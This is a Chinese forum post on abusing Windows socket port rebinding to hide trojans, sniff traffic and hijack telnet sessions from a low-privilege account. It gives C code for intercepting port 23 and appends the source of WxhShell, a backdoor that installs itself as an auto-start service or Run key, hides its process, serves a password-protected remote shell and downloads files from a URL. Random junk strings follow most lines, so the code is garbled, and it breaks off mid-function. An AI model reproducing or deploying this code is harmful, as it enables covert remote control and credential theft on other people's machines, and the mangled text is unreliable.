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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v1,oilL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @49S`  
0Pi:N{x8  
  saddr.sin_family = AF_INET; &~U ]~;@  
N_q|\S>t/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %3''}Y5  
P J[`|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'a.qu9PJ  
2Q:+_v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^&Y#)II  
4#hSJ(~7S  
  这意味着什么?意味着可以进行如下的攻击: cDkf qcC  
dzrio-QU~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r^ ZEImjc  
D=&Me=$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K8Y=S12Ti  
uOdl*|T?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c<$OA=n  
EI^C{ $Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G[q$QB+  
`%WU8Yv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cD'V>[h  
fw{gx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q6I:"2u1  
n#_$\ p>Yd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nwCrZW  
&W6^sj*k5U  
  #include ."y1_dDql  
  #include "AGLVp.zT  
  #include W X6&oy>  
  #include    L5:$U>H(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Alw3\_X  
  int main() %z 4Nl$\  
  { c=.(!qdH  
  WORD wVersionRequested; l0A&9g*l2  
  DWORD ret; QGmn#]w\\  
  WSADATA wsaData; SS.dY""89  
  BOOL val; UFb )AnK  
  SOCKADDR_IN saddr; / FEVmH?  
  SOCKADDR_IN scaddr; K:30_l<  
  int err; OX\F~+  
  SOCKET s; ;q6Ki.D  
  SOCKET sc; "C0Q(dr/n  
  int caddsize; b(O3@Q6[  
  HANDLE mt; y:qUn!3  
  DWORD tid;   7o5BXF  
  wVersionRequested = MAKEWORD( 2, 2 ); V[vl!XM  
  err = WSAStartup( wVersionRequested, &wsaData ); s#=7IH30  
  if ( err != 0 ) { m5Di=8  
  printf("error!WSAStartup failed!\n"); ]}2ZttQ?  
  return -1; '}bgLv  
  } ;cN{a&  
  saddr.sin_family = AF_INET; >[=^_8M  
   9j:"J` '  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C#Iybg  
)gy!GK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HEc+;O1<  
  saddr.sin_port = htons(23); XFV!S#yEZ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ) M BQuiL  
  { w %BL  
  printf("error!socket failed!\n"); M}v/tRI  
  return -1; |64~ K\X  
  } YcK|.Mq':  
  val = TRUE; =h73s0 ]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F;0}x;:>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s>n)B^64W  
  { Ng>h"H  
  printf("error!setsockopt failed!\n"); V-L"gnd&2  
  return -1; %UCr;H/  
  } oWo- j<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |R\>@Mg#B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bY QRBi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A#'8X w|  
G<rHkt@[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #d2.\X}A"3  
  { 2JcjZn  
  ret=GetLastError(); *w0%d1  
  printf("error!bind failed!\n"); Jcm&RI"{  
  return -1; JQHvz9Yg  
  } tc{s B\&-  
  listen(s,2); !6Mo]xh  
  while(1) ZlzjVU/E  
  { ptxbDzOz  
  caddsize = sizeof(scaddr); JKGe"  
  //接受连接请求 Jd^,]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GKc`xIQ  
  if(sc!=INVALID_SOCKET) Qtv&ijFC  
  { q2:6QM&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h Pa_VrH  
  if(mt==NULL) I- >Ss},U  
  { qfRH5)k  
  printf("Thread Creat Failed!\n"); 5 -RsnF  
  break; 6h,(wo3Y  
  } RMWHN:9  
  }   =`s!;  
  CloseHandle(mt); ?\s+EE&-  
  } /9p wZ%:<  
  closesocket(s); !fR3 (=oN  
  WSACleanup(); +8d1|cB"  
  return 0;  l(tOe  
  }   Z+. '>  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4s{~r  
  { (uZ&V7l  
  SOCKET ss = (SOCKET)lpParam; wLJ:\_Jaf  
  SOCKET sc; "J8vjr1/  
  unsigned char buf[4096]; 0Bi.6r  
  SOCKADDR_IN saddr;  e5*hE  
  long num; rJbf_]^  
  DWORD val; =\wxsL  
  DWORD ret; >!bJslWA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FOy|F-j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8=uu8-l8g  
  saddr.sin_family = AF_INET; x$Oq0d{T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n!xt5=x P{  
  saddr.sin_port = htons(23); /Uy"M:|V1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9}F*P669f  
  { e:n<EnT  
  printf("error!socket failed!\n"); T@&K- UQ  
  return -1; OO*zhGD;[  
  } d,Yw5$i  
  val = 100; P&ptJtNg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RM]M@%,K  
  { B s#hr3h-  
  ret = GetLastError(); .|b$NM  
  return -1; K<ft2anY5  
  } EL 8<U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l@+7:n4K0  
  { JJ2_hVU  
  ret = GetLastError(); :hFIl0$,"3  
  return -1; 4Vi`* !  
  } 1A G<$d5U|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $ig0j`  
  { DiwxXqY  
  printf("error!socket connect failed!\n"); T)TfB(  
  closesocket(sc); 8xV9.4S  
  closesocket(ss); $r8 ^0ZRr  
  return -1; "(z5{z?S  
  } vyX\'r.~7  
  while(1) r6} |hpJ8  
  { Q)" Nu.m &  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7k9G(i[-+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3|4|*6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VE {3}S  
  num = recv(ss,buf,4096,0); <vh/4  
  if(num>0) kJzoFFWo$  
  send(sc,buf,num,0); 6qoyiT%P&  
  else if(num==0) [] `&vWZ  
  break; _'>oXQJ  
  num = recv(sc,buf,4096,0); ``Dq  
  if(num>0) 2ZMb<b4H  
  send(ss,buf,num,0); e .2ib?8  
  else if(num==0) {kCw+eXn?  
  break; p~^D\jR.  
  } 'H&2HXw&2  
  closesocket(ss); XJ` ]ga  
  closesocket(sc); Z/0fXn})  
  return 0 ; (SDr!!V<  
  } {/(D$"j(S  
7- ] as$  
bg&zo;Ck8T  
========================================================== ;/fF,L{c  
X>(TrdK_9"  
下边附上一个代码,,WXhSHELL ~yfNxH~k  
%]DP#~7[|  
========================================================== ")dH,:#S  
V#t%/l  
#include "stdafx.h" qx8fRIK%  
o+QE8H43  
#include <stdio.h> Mg OR2,cR  
#include <string.h> YY)s p%  
#include <windows.h> S=<}:#;u0  
#include <winsock2.h> 1#*a:F&re  
#include <winsvc.h> M/ni6%x  
#include <urlmon.h> Jz.NHiLct1  
v~V5`%  
#pragma comment (lib, "Ws2_32.lib") %Yicg6:  
#pragma comment (lib, "urlmon.lib") CBOi`bEf  
L,`Lggq-  
#define MAX_USER   100 // 最大客户端连接数 ;8*`{F[  
#define BUF_SOCK   200 // sock buffer q<[_T  
#define KEY_BUFF   255 // 输入 buffer FsV'Cu@!U  
WD2]&g  
#define REBOOT     0   // 重启 pP?MWe Eg  
#define SHUTDOWN   1   // 关机 KJ=6n%6  
^xHTWg%9  
#define DEF_PORT   5000 // 监听端口 v'qG26  
Co9QW/'i  
#define REG_LEN     16   // 注册表键长度 hMUs" <.  
#define SVC_LEN     80   // NT服务名长度 GCX G/k?w:  
E4W -hq~  
// 从dll定义API 8a="/J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XKttZOiGT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i;jw\ed  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N#7QzB9]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #PanfYR  
lBhLf@  
// wxhshell配置信息 X1Ac*oLN  
struct WSCFG { oCi=4#g%7  
  int ws_port;         // 监听端口 7_Z#m (  
  char ws_passstr[REG_LEN]; // 口令 F\AX :  
  int ws_autoins;       // 安装标记, 1=yes 0=no 04'~ta(t  
  char ws_regname[REG_LEN]; // 注册表键名 'wI"Bo6e  
  char ws_svcname[REG_LEN]; // 服务名 ll6wpV0m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7,|c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O QT;zqup  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fpa ;^F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jm0- y%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P%=#^T&`}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '0uh D.|G  
ZF|+W?0&%  
}; 9C[ywp  
lR[qqFR  
// default Wxhshell configuration =%gRW5R%  
struct WSCFG wscfg={DEF_PORT, Y"Ql!5=  
    "xuhuanlingzhe", ,(?po (']  
    1, W#BM(I  
    "Wxhshell", x~{;TZa[I  
    "Wxhshell", 5ish\"  
            "WxhShell Service", {%{ `l-  
    "Wrsky Windows CmdShell Service", @t`Xq1  
    "Please Input Your Password: ", gk+h8 LZ  
  1, }!/$M\w  
  "http://www.wrsky.com/wxhshell.exe", k.^co I5  
  "Wxhshell.exe" BV(8y.H  
    }; a,+@|TJ,i  
r'uGWW"w  
// 消息定义模块 y^Kph# F"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0B&Y ]*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1~ t{aLPz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )\be2^p  
char *msg_ws_ext="\n\rExit."; bH2MdU  
char *msg_ws_end="\n\rQuit."; 8 <7GdCME  
char *msg_ws_boot="\n\rReboot..."; YoLx>8  
char *msg_ws_poff="\n\rShutdown..."; D3^7y.u<)  
char *msg_ws_down="\n\rSave to "; 'XofD}dm  
I_%a{$Gjl  
char *msg_ws_err="\n\rErr!"; %4 XJn@J  
char *msg_ws_ok="\n\rOK!"; vR=6pl$|~~  
J9Ou+6u(  
char ExeFile[MAX_PATH]; 9,_mS{+B  
int nUser = 0; ] GTAq  
HANDLE handles[MAX_USER]; $:j G-r  
int OsIsNt; EV^~eTz  
}kK[S|XVO  
SERVICE_STATUS       serviceStatus; =;|QZ"%E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FwY&/\J7V  
f<*Js)k  
// 函数声明 MR,R}B$  
int Install(void); I,VH=Yn5,  
int Uninstall(void); 3a 1u  
int DownloadFile(char *sURL, SOCKET wsh); 3g~^[&|i  
int Boot(int flag); w TGb d  
void HideProc(void); ]f: v,a  
int GetOsVer(void); TsUOpEuX  
int Wxhshell(SOCKET wsl); -zO2|@S,  
void TalkWithClient(void *cs); {^rs#, W  
int CmdShell(SOCKET sock); k`9)=&zX+  
int StartFromService(void); `S.ZS}~!F  
int StartWxhshell(LPSTR lpCmdLine); )0e2ic/  
d]i(h~?_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RUUk f({(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O Xi@c;F  
<ggtjw S  
// 数据结构和表定义 !!V#v9{  
SERVICE_TABLE_ENTRY DispatchTable[] = #gaQaUjR  
{ G0{H5_h  
{wscfg.ws_svcname, NTServiceMain}, npyAJp  
{NULL, NULL} nG, U>)  
}; >Clh] ;K  
XfE -fH1j  
// 自我安装 `#QG6/0  
int Install(void) o|iYd n\  
{ c8M2 ^{O,`  
  char svExeFile[MAX_PATH]; aJe^Tp(  
  HKEY key;  ^eGNgE  
  strcpy(svExeFile,ExeFile); CWG6;NT6m  
wHv]ViNvXE  
// 如果是win9x系统,修改注册表设为自启动 #9 fWAF  
if(!OsIsNt) { |R@~-Ht  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~h=X8-D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ',4x$qe  
  RegCloseKey(key); d:q +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rqy0Q8K<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]cC[-F[  
  RegCloseKey(key); qG/fE'(j&  
  return 0; ?$Wn!"EC8  
    } Z!&Rr~i <  
  } [;.`,/  
} a7/-wk  
else { \WrFqm#  
C"qU-&*v  
// 如果是NT以上系统,安装为系统服务 H:JLAK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W85@v2b  
if (schSCManager!=0) Dbaf0  
{ ow;R$5G  
  SC_HANDLE schService = CreateService *P!e:Tm)  
  ( 3!o4)yJWx  
  schSCManager, $ RwB_F  
  wscfg.ws_svcname, ph|ZG6:  
  wscfg.ws_svcdisp, Ei3zBS?J)  
  SERVICE_ALL_ACCESS, $]&(7@'qo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NLe}Jqp  
  SERVICE_AUTO_START, %=<IGce  
  SERVICE_ERROR_NORMAL, q *AQq=  
  svExeFile, MfBdNdox7  
  NULL, Y'3}G<'%  
  NULL, asgF1?r  
  NULL, ]G}B 0u3  
  NULL, 's!-80sd  
  NULL  /n^c>)  
  ); sNHSr  
  if (schService!=0) =AEz9d ciS  
  { eL.7#SIr}  
  CloseServiceHandle(schService); G>Em! 4h  
  CloseServiceHandle(schSCManager); HFQR ;9]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rJ'I>Q~x6  
  strcat(svExeFile,wscfg.ws_svcname); o:dR5v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }2r+%V&4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  5q<zN  
  RegCloseKey(key); ^Ori| 4}'  
  return 0; l  n }}5Q  
    } DrvtH+e  
  } hc$@J}`  
  CloseServiceHandle(schSCManager); ~Z lC '  
} 0ZPV' `KGp  
} 9kY[j2,+  
oXt,e   
return 1; hsG#6?l3  
} rt+..t\  
DV]7.Bm  
// 自我卸载 l??;3kh1  
int Uninstall(void) UU}7U]9u  
{ .`Zf}[5[  
  HKEY key; <;t)6:N\  
r\9TMg`C  
if(!OsIsNt) { ftavbNR`W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n1:v HBM@\  
  RegDeleteValue(key,wscfg.ws_regname); /WnE:3G  
  RegCloseKey(key); ]y)Q!J )Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { baoD(0d  
  RegDeleteValue(key,wscfg.ws_regname); N 6O8Wn  
  RegCloseKey(key); dd7 =)XT+  
  return 0; y9;#1:ic  
  } qJT0Y/l:(  
} YY4-bNj[p  
} 7TX,T|>9  
else { VLg EX4  
W*xX{$NL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >^"BEG9i:  
if (schSCManager!=0) <3O T>E[  
{ ;ggy5?>Qu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x@cN3O  
  if (schService!=0) K,}w]b  
  { .Nx W=79t  
  if(DeleteService(schService)!=0) { g.#+z'l  
  CloseServiceHandle(schService); lg:y|@Y''  
  CloseServiceHandle(schSCManager); {R&ZqEo'D  
  return 0; ;? uC=o>Z{  
  } _NdLcpBT?  
  CloseServiceHandle(schService); OalP1Gy  
  } 2+9 2Q_+  
  CloseServiceHandle(schSCManager);  D\T!4q'Q  
} bn 4 &O  
} 8]0:1 {@  
qGPb  
return 1; %bX0 mN  
} MdhT!?  
R/<=mZ  
// 从指定url下载文件 $)e:8jS=  
int DownloadFile(char *sURL, SOCKET wsh) 0%)5.=6  
{ VZA3IbK}  
  HRESULT hr; BSp$F WvT?  
char seps[]= "/"; Q)Dwq?  
char *token; DQ=N1pft2v  
char *file; %f[Ep 3D  
char myURL[MAX_PATH]; FyEDt@J  
char myFILE[MAX_PATH]; >4![&&  
>3 Ko.3&  
strcpy(myURL,sURL); n'64;J5  
  token=strtok(myURL,seps); Q59/ex  
  while(token!=NULL) BxX$5u  
  { hZNEv|  
    file=token; Plz-7fy33  
  token=strtok(NULL,seps); A:Rw@ B$  
  } t58m=4  
TIRHT`"i  
GetCurrentDirectory(MAX_PATH,myFILE); .~dEUt/|)  
strcat(myFILE, "\\"); :+kUkb-/  
strcat(myFILE, file); o*7yax  
  send(wsh,myFILE,strlen(myFILE),0); S[@6Lp3q_  
send(wsh,"...",3,0); 9|K*G~J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ':;LrTc'K  
  if(hr==S_OK) Ww87  
return 0; "zZ&n3=@  
else dV$!JTsd  
return 1; PF ;YE6  
|qL;Nu,d  
} R/N<0!HZ  
l:tpL(%  
// 系统电源模块 ofEqvoi@  
int Boot(int flag) {qAu/ixp  
{ tvWH04T  
  HANDLE hToken; KHJ=$5r)  
  TOKEN_PRIVILEGES tkp; mW$ot.I  
-iQsi4  
  if(OsIsNt) { "<dN9l>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A. Nz_!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q=[U }{  
    tkp.PrivilegeCount = 1; tq E>Zx=X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q}uG/HI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O`[]xs  
if(flag==REBOOT) { *#ompm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gO{W#%  
  return 0; r|8V @.@i  
} x\;GoGsez  
else { 3Bd4 C]E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dt.-C_MO  
  return 0; $PfV<Yj'B  
} >DmRP7v   
  } chwh0J;  
  else { vadM1c*z  
if(flag==REBOOT) { |\p5mh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) anitqy#E  
  return 0; xXa#J)'  
} `]yKM0 Z  
else { qi[(*bFK7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'Fzuc^G(d  
  return 0; 5k`e^ARf  
} s#Q _Gu  
} LsotgQ8   
>\-3P $  
return 1; Hrv),Ce  
} 3&'R1~Vh  
Cs;<'[_?YO  
// win9x进程隐藏模块 NQ3|\<Wt  
void HideProc(void) i~AJ.@ #  
{ AuM:2N2  
- coy@S=.'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K#U{<pUP  
  if ( hKernel != NULL ) ?',}? {"c  
  { p d%LL?O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D;yd{]<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^AH-+#5  
    FreeLibrary(hKernel); wO\!xW:  
  } W)  
*%f3rvt7@)  
return; 'v`~(9'Rcj  
} G32_FQ$ b  
n=SzF(S[M  
// 获取操作系统版本 :6sGX p  
int GetOsVer(void) 'XME?H:q a  
{ dTgM"k  
  OSVERSIONINFO winfo; 6 cr^<]v!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Uc>LFX& -B  
  GetVersionEx(&winfo); o[H\{a>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |<2JQ[]  
  return 1; F_~6n]Sr  
  else 5lG|A6+w{  
  return 0; A&?WP\_z  
} E- [:. &  
/T4VJ{D  
// 客户端句柄模块 z'v9j_\  
int Wxhshell(SOCKET wsl) pJ$(ozV  
{ jS}'cm-  
  SOCKET wsh; FL~9</  
  struct sockaddr_in client; w-8)YJ Y  
  DWORD myID; -{r!M(47  
f>b!-|  
  while(nUser<MAX_USER) "Vq@bNtu+  
{ y>&VtN{E  
  int nSize=sizeof(client); $R3.yX=[\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T=O l`?5  
  if(wsh==INVALID_SOCKET) return 1; F F(^:N  
/G[+E&vj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )SC`6(GW  
if(handles[nUser]==0) .w=:+msL{(  
  closesocket(wsh); ?\l!]vu*  
else ^S:cNRSW"  
  nUser++; <(ubZ  
  } sd]0Hx[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {m>~`   
{[rO2<MkA#  
  return 0; 939]8BERt  
} Ig='a"%  
hu`L v  
// 关闭 socket CD$u=E ]  
void CloseIt(SOCKET wsh) /7S-|%1  
{ oa?!50d  
closesocket(wsh); x*k65WO\  
nUser--; Pi^ECSzQu[  
ExitThread(0); 8dYk3 sk  
} 20S9/9ll  
D;K&  
// 客户端请求句柄 _-YL!oP  
void TalkWithClient(void *cs) @5JLjCN  
{ c4S>_qH  
o x03c   
  SOCKET wsh=(SOCKET)cs; -(|7`U  
  char pwd[SVC_LEN]; Qj{$dqmDN  
  char cmd[KEY_BUFF]; `mh-pBVD1  
char chr[1]; Q;d+]xj  
int i,j; H ,01o5J  
j P{:A9T\  
  while (nUser < MAX_USER) { dY48S{  
uVoF<={  
if(wscfg.ws_passstr) { i,C0o   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  rytGr9S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7/[TE  
  //ZeroMemory(pwd,KEY_BUFF); -d\AiT  
      i=0; {yul.m  
  while(i<SVC_LEN) { iDyMWlV  
yd{Y}.  
  // 设置超时 K*J4&5?/  
  fd_set FdRead; dVjcK/T<  
  struct timeval TimeOut; 8N</Yi|n  
  FD_ZERO(&FdRead); a)YJ4\Qg[  
  FD_SET(wsh,&FdRead); $ l0eI  
  TimeOut.tv_sec=8; 58a)&s[+  
  TimeOut.tv_usec=0; Vq?8u/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H'j_<R N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 401/33yBJ  
60.[t9pk6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d;*OO xQV  
  pwd=chr[0]; )M&I)In'  
  if(chr[0]==0xd || chr[0]==0xa) { *B)Jv9  
  pwd=0; U4 go8  
  break; tIc0S!H#  
  } GF$rPY[  
  i++; 8YT_DM5iI  
    } . x\/XlM  
6:SK{RSURC  
  // 如果是非法用户,关闭 socket ;p?42rCIcl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BWqik_  
} [MSDk"o&  
ZEXj|wC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +8?R+0P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o`JlXuG?o  
vfk7J5y  
while(1) { ?Oe_} jv;  
~jgN_jz  
  ZeroMemory(cmd,KEY_BUFF); T<9dW?'|  
kHz+ ZY<?  
      // 自动支持客户端 telnet标准   62k9"xSH  
  j=0; '? !7 Be  
  while(j<KEY_BUFF) { xIq"[?m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &+|jJ{93z  
  cmd[j]=chr[0]; 71}L# nQ  
  if(chr[0]==0xa || chr[0]==0xd) { 0k. #  
  cmd[j]=0; `CTkx?e[  
  break; ouu-wQ|(mM  
  } 0& SrKn  
  j++; JaB tX'  
    } OoU'86)  
OLd$oxKR  
  // 下载文件  8E.5k@  
  if(strstr(cmd,"http://")) { h!X'SGK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); inq4CGY  
  if(DownloadFile(cmd,wsh)) 4P-'(4I)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m,"cbJ /  
  else nf+"vr}1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s$+: F$Y0  
  } NL>[8#  
  else { lN= m$J  
~8n~4  
    switch(cmd[0]) { eaZ)1od  
  ] _]6&PZXk  
  // 帮助 -h^} jP8  
  case '?': { =4w^)'/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CoKj'jA  
    break; B[U.CAUn  
  } <or>bo^  
  // 安装 {XVf|zM,  
  case 'i': { ;)bF#@Q  
    if(Install()) GmEJ,%A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k:HSB</}  
    else G-Ml+@e>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X=!n,=xI  
    break; .k!k-QO5La  
    } (<:rKp  
  // 卸载 !_/8!95  
  case 'r': { y1jGf83  
    if(Uninstall()) t"Vr;0!{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EL)/5-=S  
    else l52n/w#qFB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <EMLiiNY  
    break; -+S~1`0  
    } j8ohzX[Y  
  // 显示 wxhshell 所在路径 .AmM%I4K  
  case 'p': { "< hx  
    char svExeFile[MAX_PATH]; f >, Qhl  
    strcpy(svExeFile,"\n\r"); *M\i4FO8  
      strcat(svExeFile,ExeFile); 88+\mX;A#  
        send(wsh,svExeFile,strlen(svExeFile),0); 4- ?`#  
    break; ;^H+ |&$>  
    } a?Qcf;o  
  // 重启 O ]4 x;`)  
  case 'b': { :R_#'i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); { P\8g8  
    if(Boot(REBOOT)) ~"4vd 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z6>ZV6(d2^  
    else { #t9=qR~"  
    closesocket(wsh); rc{[\1 -N  
    ExitThread(0); l4BO@   
    } 5fDtSsW  
    break; 5l7L@Ey  
    } LZAj4|~,m  
  // 关机 vM>`CZ  
  case 'd': { ~D-OL* 2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7.1E mJ  
